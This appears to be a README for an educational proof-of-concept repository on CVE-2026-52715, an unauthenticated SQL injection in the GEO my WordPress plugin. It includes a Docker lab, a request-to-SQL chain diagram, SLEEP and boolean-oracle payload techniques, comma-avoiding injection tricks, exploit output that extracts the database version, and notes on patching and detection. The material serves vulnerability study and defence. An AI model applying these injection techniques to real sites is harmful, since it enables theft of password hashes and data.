
PoC funcional de CVE-2026-52715 (GeoLeak): SQLi no autenticada en GEO my WordPress <= 4.5.5 via swlatlng/nelatlng. Laboratorio Docker + exploit time-based/boolean-based + exfiltracion sin comas en payload.
Educational Proof of Concept for GeoLeak (CVE-2026-52715), an unauthenticated SQL injection (CVSS 9.3) in the GEO my WordPress <= 4.5.5 plugin for WordPress. The
swlatlngandnelatlngmap boundary parameters are interpolated without sanitization into the WHERE clause. Self-contained Docker lab + exploit featuring time-based, boolean-based, and character-by-character exfiltration techniques.
CVE-2026-52715 is an SQL injection (CWE-89) in the function of the GEO my WordPress plugin, affecting all versions and patched since (June 15, 2026). It was discovered by researcher and published via Patchstack.
gmw_get_locations_within_boundaries_sql()The chain dubbed GeoLeak demonstrates how, starting from read-only access to any public page containing the [gmw] shortcode, an attacker can:
swlatlng (or nelatlng) query string parameter, without cookies, nonce, or authentication.SLEEP() (time-based blind) evaluated for each row of the INNER JOIN against wp_gmw_locations."total_results":N oracle that the plugin itself embeds in the map configuration JSON to infer boolean conditions (boolean-based blind).explode(',', ...)), using CASE WHEN and SUBSTRING(x FROM n FOR 1).The result is arbitrary read access to the WordPress database: the wp_users table (password hashes), configuration options, keys, and third-party data stored in plugins.
The PoC verifies the complete extraction of MariaDB's VERSION() using only GET requests.
This repository contains strictly educational and defensive material.
┌─────────────────────────────────────────────────────────────────────┐
│ 1. Peticion publica sin autenticar │
│ GET /?page_id=5&form=1&action=fs&swlatlng=<payload>&nelatlng=… │
│ pagina publica con shortcode [gmw form="1"] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 2. GMW_Form::set_default_values() │
│ action=fs => formulario marcado como enviado │
│ get_form_values() toma $_SERVER['QUERY_STRING'] │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 3. gmw_get_form_values() (gmw-functions.php:512) │
│ parse_str($query_string, $output) sin lista de permitidos │
│ $output['swlatlng'] llega intacto │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 4. parse_query_args() (class-gmw-form-core.php:794) │
│ gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busqueda│
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) │
│ $sw = explode(',', $southwest); │
│ "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" │
│ interpolacion directa: sin prepare, sin validacion │
└──────────────────────────────────────────────────┬──────────────────┘
▼
┌─────────────────────────────────────────────────────────────────────┐
│ 6. WP_Query -> $wpdb->get_results() │
│ SQL: ... AND ( gmw_locations.latitude BETWEEN │
│ 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... │
│ respuesta retardada 5s / total_results = oraculo │
└─────────────────────────────────────────────────────────────────────┘
curl and awk for the exploitdocker-compose.yml)POC-GeoLeak-CVE-2026-52715/
├── docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
├── docker/
│ ├── Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
│ ├── lab-entrypoint.sh Arranque + siembra automatica en el primer boot
│ ├── seed.sh Instalacion WP, formulario, post geolocalizado
│ └── geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
├── poc/
│ └── poc.sh Exploit: time-based + boolean-based + exfiltracion
├── docs/
│ ├── analisis-tecnico.md Cadena completa request -> SQL, con codigo
│ └── diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
├── LICENSE
└── README.md
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
Configurable exploit parameters:
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
WordPress access: http://localhost:3080 with admin/admin. The page with the vulnerable form is http://localhost:3080/?page_id=5.
Note: the seed row in
wp_gmw_locationsis essential. The query uses INNER JOIN against that table: without rows the injected WHERE is not evaluated andSLEEP()does not sleep.
Real output from the last run against the lab (August 14, 2026):
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress <= 4.5.5
SQLi no autenticada via swlatlng/nelatlng
Objetivo: http://localhost:3080
===================================================
[*] Prueba time-based (SLEEP 5s)...
Peticion benigna : 0.037000s
Payload SLEEP : 5.034984s
[+] VULNERABLE: retardo de 5.034984s confirma la inyeccion SQL
[*] Prueba boolean-based (oraculo total_results)...
Condicion TRUE -> total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
Cross-check directly against the database:
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
Against the patched version (>= 4.5.5.1) the time-based phase responds in milliseconds and the PoC ends with [-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1).
Complete detail, with code snippets and exact lines, in docs/analisis-tecnico.md. Key points:
gmw_get_locations_within_boundaries_sql() interpolates {$sw[0]}, {$sw[1]}, {$ne[0]}, {$ne[1]} directly into the WHERE (all four points are injectable).gmw_get_form_values() processes the entire query string with parse_str() without an allowlist.explode(',', $southwest). The PoC uses CASE WHEN a THEN b ELSE c END instead of IF(a,b,c) and SUBSTRING(x FROM n FOR 1) instead of SUBSTRING(x,n,1)."total_results":N; the exploit calibrates the length range (-10..1) so the seed row survives when the condition is true.wp_posts.* columns plus the gmw fields must be aligned); error-based impractical (wpdb silences errors).wp_ajax_nopriv_* handlers either do not execute SQL (free version) or are protected by a nonce. The CVE vector in the free version is the form GET.Complete real diff in docs/diff-parche-4.5.5.1-gmw-functions.php.diff. Between 4.5.5 and 4.5.5.1 only three files differ (geo-my-wp.php for the version, readme.txt for the changelog, and includes/gmw-functions.php):
gmw_parse_latlng_boundary(): requires exactly 2 finite numeric parts with |lat| <= 90 and |lng| <= 180.gmw_get_form_values() discards non-validating values with unset().$wpdb->prepare() and %f placeholders.Current plugin version: 4.5.5.3 (July 2026), patched.
swlatlng/nelatlng, or virtual patching (Patchstack and similar).[gmw] forms need map-boundary search.swlatlng/nelatlng patterns in the logs.wp_users hashes — the injection allows reading them.